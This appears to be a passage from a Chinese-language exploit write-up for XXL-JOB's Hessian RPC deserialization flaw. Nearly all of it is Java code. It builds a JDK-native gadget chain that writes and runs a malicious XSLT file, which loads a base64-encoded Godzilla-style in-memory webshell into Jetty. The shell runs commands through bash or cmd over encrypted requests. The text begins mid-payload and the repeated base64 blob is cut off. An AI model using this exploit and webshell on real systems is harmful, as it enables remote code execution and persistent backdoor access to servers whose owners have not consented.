orKiy2ACW2ACbAACfAACdOAzYEFQQtvqIAkC0VBDK2ACMSKLYAHDoFKi0VBDIqGQW2ACW2ACY6BioZBioZBrYAIxIptgActgAltgAmwAAqwAAqOgcDNggVCBkHvqIAQCoZBxUIMioZBxUIMrYAIxIrtgActgAltgAmOgkZCbYAI7YALBIttgAumQAJGQnAAC+wpwAFOgmECAGn/76nAAU6BYQEAaf/bwGwAAMAdQCmAKoACwAwAKYAtQALAKcAsgC1AAsAAwCRAAAATgATAAAATwAEAFAACwBRABUAUgAmAFMAMABVAD4AVgBOAFcAagBYAHUAXgCRAF8AoQBgAKcAZQCqAGMArABYALIAagC1AGgAtwBTAL0AbACSAAAAZgAKAJEAFgCpAKoACQBtAEUAqwCfAAgAPgB0AKwAowAFAE4AZACtAKoABgBqAEgArgCvAAcAKQCUALAAnwAEAAQAuwCiAKUAAAALALQAsQCyAAEAFQCqALMAowACACYAmQC0ALUAAwCXAAAAVgAJ/wApAAUHALYHALcHALgHACcBAAD/AEMACQcAtgcAtwcAuAcAJwEHALgHALkHACoBAAA5QgcAmQH/AAUABQcAtgcAtwcAuAcAJwEAAEIHAJkB+gAFAKYAAAAIAAMAgwCGAIcACQC6ALsAAgCQAAABRAAGAAUAAAByAU0SMLgAGkwrEjEBtgAyKwG2ADNOLbYAIxI0BL0ANVkDEjZTtgAyLQS9ADdZAypTtgAzwAA4TacAOU4SObgAGkwrtgA6OgQZBLYAIxI7BL0ANVkDEjZTtgAyGQQEvQA3WQMqU7YAM8AAOE2nAAU6BCywAAIAAgA3ADoACwA7AGsAbgALAAMAkQAAADIADAAAAHAAAgByAAgAcwAVAHQANwB8ADoAdQA7AHcAQQB4AEcAeQBrAHsAbgB6AHAAfQCSAAAASAAHABUAIgC8AKoAAwAIADIAvQCOAAEARwAkALwAqgAEAEEALQC9AI4AAQA7ADUAvgC/AAMAAAByAMAAwQAAAAIAcACpAIoAAgCXAAAAKgAD/wA6AAMHADYABwCYAAEHAJn/ADMABAcANgAHAJgHAJkAAQcAmfoAAQCmAAAABAABAAsACQDCAMMAAgCQAAABSgAGAAUAAAB4AU0SMLgAGkwrEjwBtgAyKwG2ADNOLbYAIxI9BL0ANVkDEjhTtgAyLQS9ADdZAypTtgAzwAA2wAA2TacAPE4SPrgAGkwrtgA6OgQZBLYAIxI/BL0ANVkDEjhTtgAyGQQEvQA3WQMqU7YAM8AANsAANk2nAAU6BCywAAIAAgA6AD0ACwA+AHEAdAALAAMAkQAAADIADAAAAIEAAgCDAAgAhAAVAIUAOgCNAD0AhgA+AIgARACJAEoAigBxAIwAdACLAHYAjgCSAAAASAAHABUAJQDEAKoAAwAIADUAvQCOAAEASgAnAMQAqgAEAEQAMAC9AI4AAQA+ADgAvgC/AAMAAAB4AMAAigAAAAIAdgCpAMEAAgCXAAAAKgAD/wA9AAMHAJgABwA2AAEHAJn/ADYABAcAmAAHADYHAJkAAQcAmfoAAQCmAAAABAABAAsAAQDFAMYAAQCQAAAA2AAGAAQAAAAsEkC4AEFOLRyZAAcEpwAEBbsAQlkqtAAOtgADEkC3AEO2AEQtK7YARbBOAbAAAQAAACgAKQALAAMAkQAAABYABQAAAJIABgCTACMAlAApAJUAKgCWAJIAAAA0AAUABgAjAMcAyAADACoAAgC+AL8AAwAAACwAnACdAAAAAAAsAJUAwQABAAAALACTAMkAAgCXAAAAPAAD/wAPAAQHAMoHADYBBwDLAAEHAMv/AAAABAcAygcANgEHAMsAAgcAywH/ABgAAwcAygcANgEAAQcAmQABAMwAzQACAJAAAAMqAAcACQAAAbQtEka5AEcCABJItgBJmQCWLRJIuQBHAgA6BRkFxgCEGQW2AEqaAHwBOgYSS7gATLYATRJOtgBPmQAbBr0AOFkDEkhTWQQSUFNZBRkFUzoGpwAYBr0AOFkDElFTWQQSUlNZBRkFUzoGLAS2AFO7AFRZuABVGQa2AFa2AFe3AFgSWbYAWrYAWzoHGQS5AFwBADoIGQgZB7YAA7YAXRkItgBepwEOLRJGuQBHAgASX7YASZkA/i0qtAAQuQBgAgC4AGE6BSoZBQO2AGI6BSq0AGPHAGS7AGRZA70AZbgAIbYAZrcAZzoGEmgSaQa9ADVZAxI2U1kEsgBqU1kFsgBqU7YAazoHGQcEtgBsKhkHGQYGvQA3WQMZBVNZBAO4AG1TWQUZBb64AG1TtgAzwAA1tQBjpwB+uwBuWbcAbzoGKrQAY7YAOjoHGQcZBrYAcFcZBxkFtgBwVxkHLbYAcFcsBLYAUxkEuQBcAQA6CBkIKrQAFgMQELYAcbYAA7YAXRkHtgByVxkIKhkGtgBzBLYAYrgAdLYAA7YAXRkIKrQAFhAQtgB1tgADtgBdGQi2AF6xpwAFOgWxAAEAAAGtAbEACwADAJEAAACaACYAAACdABAAngAaAJ8AJwCgACoAoQA6AKIAUgCkAGcApgBsAKcAiACoAJEAqQCbAKoAoACsAKMArQCzAK8AwgCwAMsAsQDSALIA5QCzAQMAtAEJALUBMAC2ATMAtwE8ALgBRQC5AU0AugFVALsBXAC8AWEAvQFqAL4BfAC/AYIAwAGXAMEBqADCAa0AwwGuAMcBsQDGAbMAyACSAAAAmAAPACoAdgDOAM8ABgCIABgA0ACKAAcAkQAPANEA0gAIABoAhgDTAIoABQDlAEsA1ADVAAYBAwAtANYA1wAHATwAcgDYANkABgFFAGkA2gCqAAcBagBEANEA0gAIAMIA7ADbAMEABQAAAbQAnACdAAAAAAG0AJUAigABAAABtADcAN0AAgAAAbQA3gDfAAMAAAG0AOAA4QAEAJcAAAAeAAj9AFIHAJgHAOIU+QA4AvwAjwcANvoAekIHAJkBAKYAAAAGAAIA4wDkAAgA5QCbAAEAkAAAAZoABQAGAAAAh7gAdksqtgB3tgB4tgB5wAB6TCu2ACMSe7YAHE0sBLYAHSwrBLgAfLYAfSu2AH5OLb4EYL0AfzoEGQQDuwCAWQS3AIFTAzYFFQUtvqIAFBkEFQUEYC0VBTJThAUBp//rKxkEtgCCpwAhS7sAhFkqtwCFv0u7AIRZKrcAhb9LuwCEWSq3AIW/sQADAAAAZQBoAIMAAABlAHIAhgAAAGUAfACHAAMAkQAAAFIAFAAAADIABAAzABIANAAcADUAIQA2ACoAOAAvADkAOAA6AEQAOwBOADwAWQA7AF8APgBlAEYAaABAAGkAQQByAEIAcwBDAHwARAB9AEUAhgBHAJIAAABcAAkARwAYALAAnwAFAAQAYQDmAOcAAAASAFMA6ADpAAEAHABJAOoAowACAC8ANgDrAOwAAwA4AC0A7QDsAAQAaQAJAL4A7gAAAHMACQC+AO8AAAB9AAkAvgDwAAAAlwAAAC8ABv8ARwAGBwDxBwDyBwC4BwDzBwDzAQAA+gAX/wAIAAAAAQcA9EkHAPVJBwD2CQABAPcAAAACAPg=";
String xslt = xsltTemplate.replace("<base64_payload>", base64Code).replace("<class_name>", "com.xxl.job.core.JettyGodzillaMemshell");
SwingLazyValue swingLazyValue = new SwingLazyValue("com.sun.org.apache.xml.internal.security.utils.JavaUtils", "writeBytesToFilename", new Object[]{"/tmp/aaa.xslt", xslt.getBytes()});
SwingLazyValue swingLazyValue1 = new SwingLazyValue("com.sun.org.apache.xalan.internal.xslt.Process", "_main", new Object[]{new String[]{"-XT", "-XSL", "/tmp/aaa.xslt"}});
Object[] keyValueList = new Object[]{"abc", swingLazyValue};
Object[] keyValueList1 = new Object[]{"ccc", swingLazyValue1};
UIDefaults uiDefaults1 = new UIDefaults(keyValueList);
UIDefaults uiDefaults2 = new UIDefaults(keyValueList);
UIDefaults uiDefaults3 = new UIDefaults(keyValueList1);
UIDefaults uiDefaults4 = new UIDefaults(keyValueList1);
Hashtable<Object, Object> hashtable1 = new Hashtable<>();
Hashtable<Object, Object> hashtable2 = new Hashtable<>();
Hashtable<Object, Object> hashtable3 = new Hashtable<>();
Hashtable<Object, Object> hashtable4 = new Hashtable<>();
hashtable1.put("a", uiDefaults1);
hashtable2.put("a", uiDefaults2);
hashtable3.put("b", uiDefaults3);
hashtable4.put("b", uiDefaults4);
Object gettable = hessian_demo_main.gettable(hashtable1, hashtable2, hashtable3, hashtable4);
HessianSerializer serializer = new HessianSerializer();
// byte[] data = serializer.serialize(xxlRpcRequest);
ByteArrayOutputStream os = new ByteArrayOutputStream();
Hessian2Output ho = new Hessian2Output(os);
byte[] var5;
SerializerFactory serializerFactory = ho.getSerializerFactory();
serializerFactory.setAllowNonSerializable(true);
ho.setSerializerFactory(serializerFactory);
ho.writeObject(gettable);
ho.flush();
byte[] result = os.toByteArray();
var5 = result;
String shellcode = sendPostRequest("http://127.0.0.1:21000/run", var5);
System.out.println(shellcode);
}
}
注入内存马需要用的Gadgets我们选用JDK原生那条链子,如下:
package com.example;
import com.caucho.hessian.io.*;
import com.xxl.rpc.serialize.impl.HessianSerializer;
import sun.swing.SwingLazyValue;
import javax.swing.*;
import java.io.*;
import java.net.HttpURLConnection;
import java.net.URL;
import java.util.Hashtable;
public class App {
public static String sendPostRequest(String urlString, byte[] rawData) throws IOException {
URL url = new URL(urlString);
HttpURLConnection connection = (HttpURLConnection) url.openConnection();
try {
// 设置请求方法为POST
connection.setRequestMethod("POST");
// 允许输入输出
connection.setDoOutput(true);
// 设置请求头
connection.setRequestProperty("Content-Type", "application/octet-stream"); // 根据需要设置Content-Type
// 写入请求体
try (OutputStream os = connection.getOutputStream()) {
os.write(rawData);
os.flush();
}
// 读取响应
try (InputStream is = connection.getInputStream()) {
StringBuilder response = new StringBuilder();
byte[] buffer = new byte[1024];
int bytesRead;
while ((bytesRead = is.read(buffer)) != -1) {
response.append(new String(buffer, 0, bytesRead, "utf-8"));
}
return response.toString();
}
} finally {
connection.disconnect();
}
}
public static void main( String[] args ) throws Exception {
// Method invoke = MethodUtil.class.getMethod("invoke", Method.class, Object.class, Object[].class);
// Method defineClass = Unsafe.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class, ClassLoader.class, ProtectionDomain.class);
// Field f = Unsafe.class.getDeclaredField("theUnsafe");
// f.setAccessible(true);
// Object unsafe = f.get(null);
// Object[] ags = new Object[]{invoke, new Object(), new Object[]{defineClass, unsafe, new Object[]{"com.xxl.job.core.EvilCustomizerLoader", bcode, 0, bcode.length, null, null}}};
String xsltTemplate = "<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\"\n" +
"xmlns:b64=\"http://xml.apache.org/xalan/java/sun.misc.BASE64Decoder\"\n" +
"xmlns:ob=\"http://xml.apache.org/xalan/java/java.lang.Object\"\n" +
"xmlns:th=\"http://xml.apache.org/xalan/java/java.lang.Thread\"\n" +
"xmlns:ru=\"http://xml.apache.org/xalan/java/org.springframework.cglib.core.ReflectUtils\"\n" +
">\n" +
" <xsl:template match=\"/\">\n" +
" <xsl:variable name=\"bs\" select=\"b64:decodeBuffer(b64:new(),'<base64_payload>')\"/>\n" +
" <xsl:variable name=\"cl\" select=\"th:getContextClassLoader(th:currentThread())\"/>\n" +
" <xsl:variable name=\"rce\" select=\"ru:defineClass('<class_name>',$bs,$cl)\"/>\n" +
" <xsl:value-of select=\"$rce\"/>\n" +
" </xsl:template>\n" +
" </xsl:stylesheet>";
String base64Code = "yv66vgAAADMCAAgA+QoA+gD7CgA4APwKADgA/QoA+gD+BwD/CgD6AQAKAAYBAQoABgECCgA4AQMHAQQKAIgBBQgBBgkAgAEHCAEICQCAAQkHAQoKABEBBQoAEQELCgARAQwKAIABDQkAgAEOCQEPARAKAREBEggBEwoANQEUCAEVCgA1ARYKARcBGAoBFwEZBwEaCgCAARsKARwBHQoBHAEeCgA3AR8IALQKAB8BIAoAHwEhBwC1CAEiCACuBwCvCACpCgA1ASMIASQKADgBJQcBJggBJwgBKAoANQEpCgEqASsIASwHAS0HAMEHAS4HAS8IATAKADUBMQgBMggBMwgBNAgBNQgBNggBNwoBOAE5BwE6CgBCATsKATgBPAoBOAE9CAE+CwE/AUAIANMKADgBQQoAOAFCCAFDCgEPAUQKADgBRQgBRgoAOAFHCAFICAFJCAFKCgFLAUwHAU0KAU4BTwoBTgFQCgFRAVIKAFQBUwgBVAoAVAFVCgBUAVYLAVcBWAoBWQFaCgFZAVsIAVwLAT8BXQoAgAFeCgCAAV8JAIABYAcBYQcBYgoBHAFjCgBkAWQHAWUIAWYJAWcBaAoANQFpCgEqARgKAWcBagcBawoAbgEFCgA3ASUKADgBbAoANwEMCgBuAW0KAIABbgoAOAFvCgCAAXAKAC8BcQoBcgFzCgF0AXUHAXYIAXcKAXgBeQoBFwF6CgB6AXsHAXwHAX0KAIABfgoAegF/BwGABwGBCgCEAYIHAYMHAYQHAYUBAAJ4YwEAEkxqYXZhL2xhbmcvU3RyaW5nOwEABHBhc3MBAANtZDUBAAdwYXlsb2FkAQARTGphdmEvbGFuZy9DbGFzczsBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAFtAQAdTGphdmEvc2VjdXJpdHkvTWVzc2FnZURpZ2VzdDsBAAFzAQADcmV0AQANU3RhY2tNYXBUYWJsZQcBLwcBBAEABjxpbml0PgEAAygpVgEABHRoaXMBAChMY29tL3h4bC9qb2IvY29yZS9KZXR0eUdvZHppbGxhTWVtc2hlbGw7AQAEKEkpVgEAAUkBAAlnZXRVbnNhZmUBABMoKUxzdW4vbWlzYy9VbnNhZmU7AQAGdW5zYWZlAQAZTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEACXRoZXVuc2FmZQEAEUxzdW4vbWlzYy9VbnNhZmU7AQAKRXhjZXB0aW9ucwEADWdldFZhbHVlRmllbGQBACsoKUxvcmcvZWNsaXBzZS9qZXR0eS9zZXJ2ZXIvSHR0cENvbm5lY3Rpb247AQAFdmFsdWUBABJMamF2YS9sYW5nL09iamVjdDsBAAFqAQANdGhyZWFkTG9jYWxzRgEAC3RocmVhZGxvY2FsAQAFdGFibGUBABpbTGphdmEvbGFuZy9yZWYvUmVmZXJlbmNlOwEAAWkBAAt0aHJlYWRHcm91cAEAF0xqYXZhL2xhbmcvVGhyZWFkR3JvdXA7AQAMdGhyZWFkc2ZpbGVkAQAHdGhyZWFkcwEAE1tMamF2YS9sYW5nL1RocmVhZDsHARoHAYYHAYcHAS4BAAxiYXNlNjRFbmNvZGUBABYoW0IpTGphdmEvbGFuZy9TdHJpbmc7AQAHRW5jb2RlcgEABmJhc2U2NAEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAJicwEAAltCAQAMYmFzZTY0RGVjb2RlAQAWKExqYXZhL2xhbmcvU3RyaW5nOylbQgEAB2RlY29kZXIBAAF4AQAHKFtCWilbQgEAAWMBABVMamF2YXgvY3J5cHRvL0NpcGhlcjsBAAFaBwF9BwGIAQAGaGFuZGxlAQCGKExqYXZhL2xhbmcvU3RyaW5nO0xvcmcvZWNsaXBzZS9qZXR0eS9zZXJ2ZXIvUmVxdWVzdDtMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDtMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7KVYBAARjbWRzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEABnJlc3VsdAEADG91dHB1dFN0cmVhbQEAI0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRPdXRwdXRTdHJlYW07AQADY21kAQAOdXJsQ2xhc3NMb2FkZXIBABlMamF2YS9uZXQvVVJMQ2xhc3NMb2FkZXI7AQAJZGVmTWV0aG9kAQAaTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAAZhcnJPdXQBAB9MamF2YS9pby9CeXRlQXJyYXlPdXRwdXRTdHJlYW07AQABZgEABGRhdGEBAARiYXNlAQAiTG9yZy9lY2xpcHNlL2pldHR5L3NlcnZlci9SZXF1ZXN0OwEAB3JlcXVlc3QBACdMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDsBAAhyZXNwb25zZQEAKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTsHAM8HAYkHAYoBAAg8Y2xpbml0PgEACnZhbHVlRmllbGQBAClMb3JnL2VjbGlwc2UvamV0dHkvc2VydmVyL0h0dHBDb25uZWN0aW9uOwEAB2hhbmRsZXIBADRMb3JnL2VjbGlwc2UvamV0dHkvc2VydmVyL2hhbmRsZXIvSGFuZGxlckNvbGxlY3Rpb247AQASbXV0YWJsZVdoZW5SdW5uaW5nAQAIaGFuZGxlcnMBACNbTG9yZy9lY2xpcHNlL2pldHR5L3NlcnZlci9IYW5kbGVyOwEAC25ld0hhbmRsZXJzAQAgTGphdmEvbGFuZy9Ob1N1Y2hGaWVsZEV4Y2VwdGlvbjsBACJMamF2YS9sYW5nL0NsYXNzTm90Rm91bmRFeGNlcHRpb247AQAiTGphdmEvbGFuZy9JbGxlZ2FsQWNjZXNzRXhjZXB0aW9uOwcBJgcBdgcA7AcBgAcBgwcBhAEAClNvdXJjZUZpbGUBABpKZXR0eUdvZHppbGxhTWVtc2hlbGwuamF2YQEAA01ENQcBiwwBjAGNDAGOAY8MAZABkQwBkgGTAQAUamF2YS9tYXRoL0JpZ0ludGVnZXIMAZQBjwwAmgGVDAGWAZcMAZgBmQEAE2phdmEvbGFuZy9FeGNlcHRpb24MAJoAmwEAEDNjNmUwYjhhOWMxNTIyNGEMAIkAigEACHVzZXJuYW1lDACLAIoBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgwBmgGbDAGWAZkMAIwAjwwAjACKBwGcDAGdAZ4HAZ8MAaAAngEAD3N1bi5taXNjLlVuc2FmZQwBoQGiAQAJdGhlVW5zYWZlDAGjAaQHAYcMAaUBpgwBpwGoAQAPc3VuL21pc2MvVW5zYWZlDACgAKEHAakMAaoBqwwBrAGtDAGuAa8MAbABsQwBsgGzAQAMdGhyZWFkTG9jYWxzDAG0AZkBACdvcmcuZWNsaXBzZS5qZXR0eS5zZXJ2ZXIuSHR0cENvbm5lY3Rpb24MAbUBtgEAJ29yZy9lY2xpcHNlL2pldHR5L3NlcnZlci9IdHRwQ29ubmVjdGlvbgEAEGphdmEudXRpbC5CYXNlNjQBAApnZXRFbmNvZGVyDAG3AbgHAbkMAboBuwEADmVuY29kZVRvU3RyaW5nAQAPamF2YS9sYW5nL0NsYXNzAQAQamF2YS9sYW5nL09iamVjdAEAEGphdmEvbGFuZy9TdHJpbmcBABZzdW4ubWlzYy5CQVNFNjRFbmNvZGVyDAG8Ab0BAAZlbmNvZGUBAApnZXREZWNvZGVyAQAGZGVjb2RlAQAWc3VuLm1pc2MuQkFTRTY0RGVjb2RlcgEADGRlY29kZUJ1ZmZlcgEAA0FFUwcBiAwBjAG+AQAfamF2YXgvY3J5cHRvL3NwZWMvU2VjcmV0S2V5U3BlYwwAmgG/DAHAAcEMAcIBwwEAC3gtZnVjay1kYXRhBwHEDAHFAI8MAcYBxwwByAHJAQAHb3MubmFtZQwBygCPDAHLAZkBAAN3aW4MAcwBzQEAAi9jAQAJL2Jpbi9iYXNoAQACLWMHAc4MAc8BpgEAEWphdmEvdXRpbC9TY2FubmVyBwHQDAHRAdIMAdMB1AcB1QwB1gHXDACaAdgBABBcQVNBRFNBREFTRFNBREFTDAHZAdoMAdsBmQcB3AwB3QHeBwHfDAHgAeEMAeIAmwEACGdvZHppbGxhDAHjAI8MAMIAwwwAxQDGDACNAI4BABdqYXZhL25ldC9VUkxDbGFzc0xvYWRlcgEADGphdmEvbmV0L1VSTAwB5AHlDACaAeYBABVqYXZhL2xhbmcvQ2xhc3NMb2FkZXIBAAtkZWZpbmVDbGFzcwcB5wwB6ACODAHpAbgMAeoB6wEAHWphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtDAHsAe0MAe4BjwwAugC7DAHsAZcMAKcAqAwB7wHwBwHxDAHyAfMHAfQMAfUB9gEAMm9yZy9lY2xpcHNlL2pldHR5L3NlcnZlci9oYW5kbGVyL0hhbmRsZXJDb2xsZWN0aW9uAQATX211dGFibGVXaGVuUnVubmluZwcB9wwB6gH4DAH5AfoMAfsB/AEAIG9yZy9lY2xpcHNlL2pldHR5L3NlcnZlci9IYW5kbGVyAQAmY29tL3h4bC9qb2IvY29yZS9KZXR0eUdvZHppbGxhTWVtc2hlbGwMAJoAngwB/QH+AQAeamF2YS9sYW5nL05vU3VjaEZpZWxkRXhjZXB0aW9uAQAaamF2YS9sYW5nL1J1bnRpbWVFeGNlcHRpb24MAJoB/wEAIGphdmEvbGFuZy9DbGFzc05vdEZvdW5kRXhjZXB0aW9uAQAgamF2YS9sYW5nL0lsbGVnYWxBY2Nlc3NFeGNlcHRpb24BADBvcmcvZWNsaXBzZS9qZXR0eS9zZXJ2ZXIvaGFuZGxlci9BYnN0cmFjdEhhbmRsZXIBABVqYXZhL2xhbmcvVGhyZWFkR3JvdXABABdqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZAEAE2phdmF4L2NyeXB0by9DaXBoZXIBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAeamF2YXgvc2VydmxldC9TZXJ2bGV0RXhjZXB0aW9uAQAbamF2YS9zZWN1cml0eS9NZXNzYWdlRGlnZXN0AQALZ2V0SW5zdGFuY2UBADEoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3NlY3VyaXR5L01lc3NhZ2VEaWdlc3Q7AQAIZ2V0Qnl0ZXMBAAQoKVtCAQAGbGVuZ3RoAQADKClJAQAGdXBkYXRlAQAHKFtCSUkpVgEABmRpZ2VzdAEABihJW0IpVgEACHRvU3RyaW5nAQAVKEkpTGphdmEvbGFuZy9TdHJpbmc7AQALdG9VcHBlckNhc2UBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEAB2Zvck5hbWUBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7AQAQZ2V0RGVjbGFyZWRGaWVsZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEADXNldEFjY2Vzc2libGUBAAQoWilWAQADZ2V0AQAmKExqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBABBqYXZhL2xhbmcvVGhyZWFkAQANY3VycmVudFRocmVhZAEAFCgpTGphdmEvbGFuZy9UaHJlYWQ7AQAOZ2V0VGhyZWFkR3JvdXABABkoKUxqYXZhL2xhbmcvVGhyZWFkR3JvdXA7AQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7AQARb2JqZWN0RmllbGRPZmZzZXQBABwoTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOylKAQAJZ2V0T2JqZWN0AQAnKExqYXZhL2xhbmcvT2JqZWN0O0opTGphdmEvbGFuZy9PYmplY3Q7AQAHZ2V0TmFtZQEABmVxdWFscwEAFShMamF2YS9sYW5nL09iamVjdDspWgEACWdldE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAAtuZXdJbnN0YW5jZQEAFCgpTGphdmEvbGFuZy9PYmplY3Q7AQApKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YXgvY3J5cHRvL0NpcGhlcjsBABcoW0JMamF2YS9sYW5nL1N0cmluZzspVgEABGluaXQBABcoSUxqYXZhL3NlY3VyaXR5L0tleTspVgEAB2RvRmluYWwBAAYoW0IpW0IBACVqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0AQAJZ2V0SGVhZGVyAQAQZXF1YWxzSWdub3JlQ2FzZQEAFShMamF2YS9sYW5nL1N0cmluZzspWgEAB2lzRW1wdHkBAAMoKVoBAAtnZXRQcm9wZXJ0eQEAC3RvTG93ZXJDYXNlAQAIY29udGFpbnMBABsoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KVoBACBvcmcvZWNsaXBzZS9qZXR0eS9zZXJ2ZXIvUmVxdWVzdAEACnNldEhhbmRsZWQBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAEWphdmEvbGFuZy9Qcm9jZXNzAQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEADHVzZURlbGltaXRlcgEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvdXRpbC9TY2FubmVyOwEABG5leHQBACZqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZQEAD2dldE91dHB1dFN0cmVhbQEAJSgpTGphdmF4L3NlcnZsZXQvU2VydmxldE91dHB1dFN0cmVhbTsBACFqYXZheC9zZXJ2bGV0L1NlcnZsZXRPdXRwdXRTdHJlYW0BAAV3cml0ZQEABShbQilWAQAFZmx1c2gBAAxnZXRQYXJhbWV0ZXIBABVnZXRDb250ZXh0Q2xhc3NMb2FkZXIBABkoKUxqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQApKFtMamF2YS9uZXQvVVJMO0xqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7KVYBABFqYXZhL2xhbmcvSW50ZWdlcgEABFRZUEUBABFnZXREZWNsYXJlZE1ldGhvZAEAB3ZhbHVlT2YBABYoSSlMamF2YS9sYW5nL0ludGVnZXI7AQAJc3Vic3RyaW5nAQAWKElJKUxqYXZhL2xhbmcvU3RyaW5nOwEAC3RvQnl0ZUFycmF5AQAOZ2V0SHR0cENoYW5uZWwBACgoKUxvcmcvZWNsaXBzZS9qZXR0eS9zZXJ2ZXIvSHR0cENoYW5uZWw7AQAkb3JnL2VjbGlwc2UvamV0dHkvc2VydmVyL0h0dHBDaGFubmVsAQAJZ2V0U2VydmVyAQAjKClMb3JnL2VjbGlwc2UvamV0dHkvc2VydmVyL1NlcnZlcjsBAB9vcmcvZWNsaXBzZS9qZXR0eS9zZXJ2ZXIvU2VydmVyAQAKZ2V0SGFuZGxlcgEAJCgpTG9yZy9lY2xpcHNlL2pldHR5L3NlcnZlci9IYW5kbGVyOwEAEWphdmEvbGFuZy9Cb29sZWFuAQAWKFopTGphdmEvbGFuZy9Cb29sZWFuOwEAA3NldAEAJyhMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL09iamVjdDspVgEAC2dldEhhbmRsZXJzAQAlKClbTG9yZy9lY2xpcHNlL2pldHR5L3NlcnZlci9IYW5kbGVyOwEAC3NldEhhbmRsZXJzAQAmKFtMb3JnL2VjbGlwc2UvamV0dHkvc2VydmVyL0hhbmRsZXI7KVYBABgoTGphdmEvbGFuZy9UaHJvd2FibGU7KVYAIQCAAIgAAAAEAAAAiQCKAAAAAACLAIoAAAAAAIwAigAAAAAAjQCOAAAACgAJAIwAjwABAJAAAACnAAQAAwAAADABTBIBuAACTSwqtgADAyq2AAS2AAW7AAZZBCy2AAe3AAgQELYACbYACkynAARNK7AAAQACACoALQALAAMAkQAAAB4ABwAAAB4AAgAhAAgAIgAVACMAKgAlAC0AJAAuACYAkgAAACAAAwAIACIAkwCUAAIAAAAwAJUAigAAAAIALgCWAIoAAQCXAAAAEwAC/wAtAAIHAJgHAJgAAQcAmQAAAQCaAJsAAQCQAAAAdQADAAEAAAA3KrcADCoSDbUADioSD7UAECq7ABFZtwASKrQAELYAEyq0AA62ABO2ABS4ABW1ABayABcEtgAYsQAAAAIAkQAAABoABgAAACgABAAZAAoAGgAQABsALwApADYAKgCSAAAADAABAAAANwCcAJ0AAAABAJoAngABAJAAAAB/AAMAAgAAADcqtwAMKhINtQAOKhIPtQAQKrsAEVm3ABIqtAAQtgATKrQADrYAE7YAFLgAFbUAFrIAFwW2ABixAAAAAgCRAAAAGgAGAAAALAAEABkACgAaABAAGwAvAC0ANgAuAJIAAAAWAAIAAAA3AJwAnQAAAAAANwCVAJ8AAQAKAKAAoQACAJAAAABbAAIAAgAAABsSGbgAGhIbtgAcSyoEtgAdKgG2AB7AAB9MK7AAAAACAJEAAAASAAQAAABJAAsASgAQAEsAGQBMAJIAAAAWAAIACwAQAKIAowAAABkAAgCkAKUAAQCmAAAACAADAIYAhwCDAAoApwCoAAIAkAAAAf8ABQAKAAAAv7gAIEu4ACG2ACJMK7YAIxIktgAcTSorKiy2ACW2ACbAACfAACdOAzYEFQQtvqIAkC0VBDK2ACMSKLYAHDoFKi0VBDIqGQW2ACW2ACY6BioZBioZBrYAIxIptgActgAltgAmwAAqwAAqOgcDNggVCBkHvqIAQCoZBxUIMioZBxUIMrYAIxIrtgActgAltgAmOgkZCbYAI7YALBIttgAumQAJGQnAAC+wpwAFOgmECAGn/76nAAU6BYQEAaf/bwGwAAMAdQCmAKoACwAwAKYAtQALAKcAsgC1AAsAAwCRAAAATgATAAAATwAEAFAACwBRABUAUgAmAFMAMABVAD4AVgBOAFcA